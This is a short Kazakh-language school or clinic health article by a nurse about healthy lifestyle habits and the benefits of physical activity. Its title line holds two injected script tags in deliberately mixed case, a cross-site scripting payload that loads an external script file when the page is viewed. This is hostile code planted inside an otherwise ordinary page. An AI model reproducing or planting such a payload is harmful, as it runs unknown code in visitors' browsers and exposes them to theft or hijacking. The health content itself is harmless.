«Болашақ ұрпақ денсаулықты таңдайды»<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

27.03.2019

Адамның салауаты өмір салты – өзіне адамның тұлғалық және рухани денсаулығын нығайтумен қамтамасыз ететін сауықтыру шараларын қосады, өзіне:

- қолайлы қимыл тәртібін;

- отбасы беріктігін, табысты жұмыс орнын;

- гигиена тазалығын;

- дұрыс тамақтануды;

- кез келген зиянды әдеттерден аулақ болуды;

- сексуалды мінез-құлықтың қауіпсіздігі;

- шынығуды.

 

Медицина неше жерден жетіліп дамыған болса да, әрбір адамды барлық аурудан жазып жібере алмайды. Адам өз денсаулығын өзі жасап, сол үшін күресуі керек.

 

Денсаулық және дене белсенділігі.

1. Тыныс алуды жақсартады.
2. Жүрек-қан тамырлары жүйесі жағдайын жақсартады.
3. Тірек-қозғалыс аппараты жағдайын жақсартады.
4. Басқа да жұмыс органдарын жақсартады.
5. Денедегі артық салмақты төмендетеді және семіріп кетудің алдын алады.
6. Психологиялық нәтижелілік.

Медбике М. Склярова